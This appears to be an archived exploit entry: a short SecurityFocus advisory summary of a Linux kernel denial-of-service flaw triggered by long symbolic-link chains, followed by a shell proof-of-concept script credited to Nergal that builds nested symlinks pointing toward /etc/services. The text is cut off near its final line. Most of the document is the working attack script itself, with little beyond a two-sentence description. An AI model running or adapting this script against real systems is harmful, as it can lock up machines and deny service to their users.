39 lines
No EOL
756 B
Bash
Executable file
39 lines
No EOL
756 B
Bash
Executable file
source: https://www.securityfocus.com/bid/3444/info
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A denial-of-service vulnerability exists in several versions of the Linux kernel.
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The problem occurs when a user with local access creates a long chain of symbolically linked files. When the kernel dereferences the symbolic links, the process scheduler is blocked, effecively locking the system until the dereferencing is complete.
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#!/bin/sh
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# by Nergal
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mklink()
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{
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IND=$1
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NXT=$(($IND+1))
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EL=l$NXT/../
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P=""
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I=0
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while [ $I -lt $ELNUM ] ; do
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P=$P"$EL"
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I=$(($I+1))
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done
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ln -s "$P"l$2 l$IND
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}
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#main program
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if [ $# != 1 ] ; then
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echo A numerical argument is required.
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exit 0
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fi
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ELNUM=$1
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mklink 4
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mklink 3
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mklink 2
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mklink 1
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mklink 0 /../../../../../../../etc/services
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mkdir l5
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mkdir l |